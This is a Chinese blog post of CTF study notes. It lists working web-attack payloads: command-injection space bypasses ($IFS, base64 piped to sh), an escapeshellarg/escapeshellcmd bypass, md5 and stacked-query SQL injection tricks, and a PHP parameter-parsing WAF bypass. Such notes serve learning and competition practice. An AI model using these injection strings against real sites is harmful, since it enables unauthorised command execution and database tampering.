CTF知识点总结(三)

命令执行

https://www.cnblogs.com/wangtanzhi/p/12246386.html

空格绕过方式:

$IFS
${IFS}
$IFS$数字 
< 
<> 

三种绕过方式:

1.sh

/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

2.变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

escapeshellarg()与escapeshellcmd()漏洞

<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
echo $a."<br/>".$b."<br/>".$c;
system($c);
?>

输出

172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为'172.17.0.2'' -v -d a=1' 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为'172.17.0.2''' -v -d a=1' 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

sql注入绕过关键字

获取信息

show databases;
show tables;
show columns from `table_name`;

修改表名

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

预编译

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

preg_replace/e的命令执行漏洞

MYSQL特殊模式(set sql_mode=pipes_as_concat

​ 此模式下,输出字符串可以进行拼接

img

PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

​ 假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

posted @ 2020-09-17 21:04  iloveacm  阅读(1588)  评论(1编辑  收藏  举报